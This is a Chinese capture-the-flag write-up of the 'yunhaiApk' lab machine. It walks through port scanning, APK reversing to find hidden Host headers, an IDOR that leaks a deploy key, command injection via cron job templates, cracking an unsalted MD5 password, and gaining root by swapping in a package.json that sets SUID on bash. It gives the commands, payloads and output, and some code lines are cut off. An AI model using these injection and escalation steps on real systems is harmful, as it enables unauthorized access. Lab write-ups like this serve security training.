

yunhaiApk 靶机渗透测试报告 (Writeup)

靶机地址: 192.168.3.161 靶机名称: yunhaiApk 攻击机: 192.168.3.94 (Kali Linux) 完成日期: 2026-08-06

目录

- [1. 信息收集](#)
- [2. 服务枚举与入口发现](#)
- [3. APK 逆向分析: 云海同心平台](#)
- [4. 越权读取内部频道](#)
- [5. 部署密钥接管 OpsPanel](#)
- [6. 定时任务命令注入 → RCE \(www-data\)](#)
- [7. 源码审计: JWT 密钥泄露](#)
- [8. 横向提权: yunhai 用户 \(SSH\)](#)
- [9. 纵向提权: root cron 投毒 → Root](#)

1. 信息收集

1.1 主机存活

```
ping -c 3 192.168.3.161
# TTL=64 → Linux
```

1.2 全端口扫描

```
nmap -Pn -T4 -p- --min-rate 2000 192.168.3.161
```

端口	服务	版本
22/tcp	SSH	OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp	HTTP	nginx 1.14.2
8000/tcp	HTTP	nginx 1.14.2
8088/tcp	HTTP	nginx 1.14.2

1.3 服务行为分析

端口	行为	判断
80	所有请求返回空回复 (nginx <code>return 444</code>)	需特定 Host 头
8000	同上, 全 444	需特定 Host 头
8088	一切路径固定返回 <code>OK</code> (双 Content-Type 头)	假服务/探活, 但暴露 <code>/install/</code> 目录列表

关键点: 80/8000 的 default server 是 `return 444` , 真实虚拟主机需要匹配的 `Host` 头; 8088 虽然看似假服务, 但 `/install/` 有目录列表。

2. 服务枚举与入口发现

2.1 目录列表泄露

```
GET http://192.168.3.161:8088/install/
```

```
Index of /install/
[ ] yunhaiapk.apk      14710058 bytes
```

下载 APK:

```
curl -s -o yunhaiapk.apk http://192.168.3.161:8088/install/yunhaiapk.apk
file yunhaiapk.apk      # Android package (APK)
```

3. APK 逆向分析：云海同心平台

3.1 应用结构

```
unzip yunhaiapk.apk -d apk_extract/
```

- 包名: `com.yunhai.app` (uni-app / DCloud 应用, Vue3)
- 业务前端在 `assets/apps/___UNI___754DD16/www/`

3.2 服务器地址泄露

```
grep -o -E "https?://[^\"]*" app-service.js | sort -u
```

```
http://my.yunhai.com:8000  
http://my.yunhai2.com:8000  
http://my.yunhai3.com:8000
```

3.3 解锁 8000 端口

```
curl -H "Host: my.yunhai.com" http://192.168.3.161:8000/
```

→ "云海同心" (YunHai TongXin Platform) 登录页!

教训: nginx 虚拟主机 + `return 444` 的组合, 真正的入口藏在 APK 逆向出来的 Host 头里。

3.4 平台功能枚举

- 自由注册: `POST /api/auth/register {username, password}`
- JWT 登录: `POST /api/auth/login`
- 页面: `/dashboard.html` (USDT 理财盘)、`/chat.html` (在线客服)、`/profile.html`
- FastAPI 文档泄露全部路由: `GET /openapi.json` (标题 "APK1CC Server")

4. 越权读取内部频道

4.1 漏洞发现

普通用户 `testuser123` 调用:

```
GET /api/chat/channels  
GET /api/chat/history?channel_id=<任意频道>
```

接口只校验"是否登录", 不校验频道访问权限 (IDOR/水平越权) , 可列出并读取所有 `internal` 频道:

频道	类型	泄露内容
chkf003 客服内部	internal	"管理员密码临时改为 admin123 " (已失效)
chops002 运维通知	internal	运维后台迁移至 /ops/api ; 部署密钥 X-Deploy-Key: opsyunhai2026 ; 备份路径 /backup/
chhr004 HR 内部	internal	员工信息 (yunhai 运维)

其中 cicd-bot 的部署通知完整泄露了认证方式:

```
curl -X POST https://ops.internal/deploy -H "X-Deploy-Key: ops_yunhai_2026" \
→ 200 OK
```

4.2 附带缺陷

`POST /api/chat/send` 同样接受 `channel_id` 参数 → 普通用户可向任意内部频道发消息 (冒充/污染) 。

5. 部署密钥接管 OpsPanel

5.1 密钥直接通过认证

```
curl -H "Host: my.yunhai.com" -H "X-Deploy-Key: ops_yunhai_2026" \
http://192.168.3.161:8000/ops/api/user

{"code":200,"data":{"username":"cicd-bot","role":"admin","via":"deploy_key"}}
```

部署密钥 = cicd-bot 用户 = admin 角色, 免登录接管全部 `/ops/api/*` :

- `/ops/api/dashboard` — 系统信息 (hostname=yunhaiApk)
- `/ops/api/logs/tail?file=` — 任意文件读取 (读 `/etc/passwd`)
- `/ops/api/cron/jobs` — 定时任务 (命令模板)
- `/ops/api/config` — 配置
- `/ops/api/audit` — 审计日志

5.2 定时任务模板（命令注入点）

模板	cmd_template
tpl_backup	<code>tar czf /tmp/{filename} {source_path} 2>&1</code>
tpl_logcleanup	<code>find {path} -name '*.log' -mtime +{days} -delete 2>&1</code>
tpl_servicerestart	<code>systemctl restart {service} 2>&1 \\\ echo OK</code>
tpl_taillog	<code>tail -n {lines} {filepath} 2>&1</code>

参数直接字符串替换进 **shell** 命令 → 分号注入。

6. 定时任务命令注入 → RCE (www-data)

6.1 创建注入任务

```
curl -s -X POST http://192.168.3.161:8000/ops/api/cron/jobs \
-H "Host: my.yunhai.com" \
-H "X-Deploy-Key: ops_yunhai_2026" \
-H "Content-Type: application/json" \
-d '{
  "template_id": "tpl_backup",
  "name": "pwn",
  "params": {
    "filename": "x.tgz; id; whoami; uname -a",
    "source_path": "/app/logs/"
  },
  "cron_expr": ""
}'
# → {"code":200,"data":{"id":16}}
```

6.2 触发执行

```
curl -s -X POST http://192.168.3.161:8000/ops/api/cron/jobs/16/run \
-H "Host: my.yunhai.com" -H "X-Deploy-Key: ops_yunhai_2026" -H "Content-Type: application/json" \
-d '{"id":16}'
```

```
{
  "code": 200,
  "output": "uid=33(www-data) gid=33(www-data) ...\\nwww-data\\nLinux yunhai
  "cmd": "tar czf /tmp/x.tgz; id; whoami; uname -a /app/logs/ 2>&1"
}
```

6.3 自动化脚本

```
# /root/yunhai_rce.py - 参数 -c 执行命令（自动建任务→run→删任务）
python3 yunhai_rce.py -c "id"
# uid=33(www-data) ...
```

6.4 系统信息收集（www-data）

```
python3 yunhai_rce.py -c "cat /etc/passwd; ss -tlnp; ls -la /app"
```

发现	详情
用户	root、www-data、yunhai (uid=1001, /bin/bash)
监听	127.0.0.1:4000(未知)、127.0.0.1:8001(FastAPI)、127.0.0.1:8080(nginx)、80/22/8000/8088
应用	/app/app/（FastAPI 源码 + app.sqlite + .env）
数据库	sqlite:///app/app.sqlite（.env 泄露）

7. 源码审计：JWT 密钥泄露

```
python3 yunhai_rce.py -c "cat /app/app/main.py"
```

```
JWT_SECRET = "yunhai"

def make_token(payload):
    ...
    sig = hashlib.md5(f"{JWT_SECRET}{header}{body}".encode()).hexdigest()
    return f"{header}.{body}.{sig}"
```

- JWT 密钥硬编码 `yunhai`，签名 = `md5(secret + header + body)`

- 可伪造任意用户的 JWT (含 role 字段)
- 密码存储: 裸 `md5(password)` (无盐)

```
python3 yunhai_rce.py -c "python3 -c \"import sqlite3; c=sqlite3.connect
```

```
yunhai    admin    ← 平台真正管理员
admin     user
testuser123 user
```

ops_users 表 (独立): `admin / c3689111dd402bced6a22538a2ff891b (MD5)`

8. 横向提权: yunhai 用户 (SSH)

8.1 数据库 dump 出密码哈希 (via RCE)

拿到 www-data RCE 后, 源码审计已知: 密码存储 = 裸 MD5 (无盐)。直接通过 RCE 在目标上查询 SQLite 数据库:

```
python3 yunhai_rce.py -c "python3 -c \"import sqlite3; c=sqlite3.connect
```

```
('yunhai', 'f6271af3570ae0772fc25fcde71acca4', 'admin')
```

同时确认了 `users` 表里 **yunhai** 是平台 **admin**:

```
yunhai    admin
admin     user
```

补充: ops_users 表独立于 users 表

(`admin / c3689111dd402bced6a22538a2ff891b`), 登录逻辑也是 `md5(password)` 比对。

8.2 cmd5 在线解密 MD5 → 明文密码

`f6271af3570ae0772fc25fcde71acca4` 为裸 MD5, 直接丢 cmd5 等在线 MD5 反查库解密:

```
cmd5.com 查询 f6271af3570ae0772fc25fcde71acca4
→ 明文: YunHai
```

本地验证:

```
python3 -c "import hashlib; print(hashlib.md5(b'YunHai').hexdigest())"  
# f6271af3570ae0772fc25fcde71acca4 ✓ 与数据库 hash 完全一致
```

密码复用：平台运维账号 yunhai 的密码即系统 SSH 密码（运维习惯复用）。

8.3 SSH 登录

```
sshpass -p 'YunHai' ssh yunhai@192.168.3.161  
# uid=1001(yunhai) gid=1001(yunhai)
```

```
cat /home/yunhai/user.txt  
# flag{8173ed****}
```

9. 纵向提权：root cron 投毒 → Root

9.1 发现 root 定时任务

```
cat /etc/cron.d/backup  
# * * * * * root cd /opt/backup && npm run backup > /dev/null 2>&1
```

root 每分钟执行 `/opt/backup` 下的 `npm backup` 脚本。

9.2 目录权限缺陷

```
ls -la /opt/backup/  
# drwxrwxr-x  3 root yunhai  ... .          ← 组 yunhai 可写!  
# -rw-r--r--  1 root yunhai  ... package.json
```

package.json 文件本身不可写（root 属主 644），但目录组可写 → 可重命名原文件后创建新文件（yunhai 属主），npm 执行的是新内容！

9.3 注入 SUID Payload


```
cd /opt/backup
mv package.json /tmp/package.json.orig
cat > package.json << 'EOF'
{
  "name": "server-backup",
  "version": "1.2.0",
  "scripts": {
    "backup": "chmod +s /bin/bash && cp /bin/bash /tmp/.rootshell && chmod",
  },
  "dependencies": {}
}
EOF
```

9.4 等 cron 触发 → Root

```
sleep 65
ls -la /bin/bash /tmp/.rootshell
# -rwsr-sr-x 1 root root  /bin/bash          ← SUID 已生效
# -rwsr-xr-x 1 root yunhai /tmp/.rootshell

/tmp/.rootshell -p -c "id"
# uid=1001(yunhai) gid=1001(yunhai) euid=0(root) ← ROOT!
```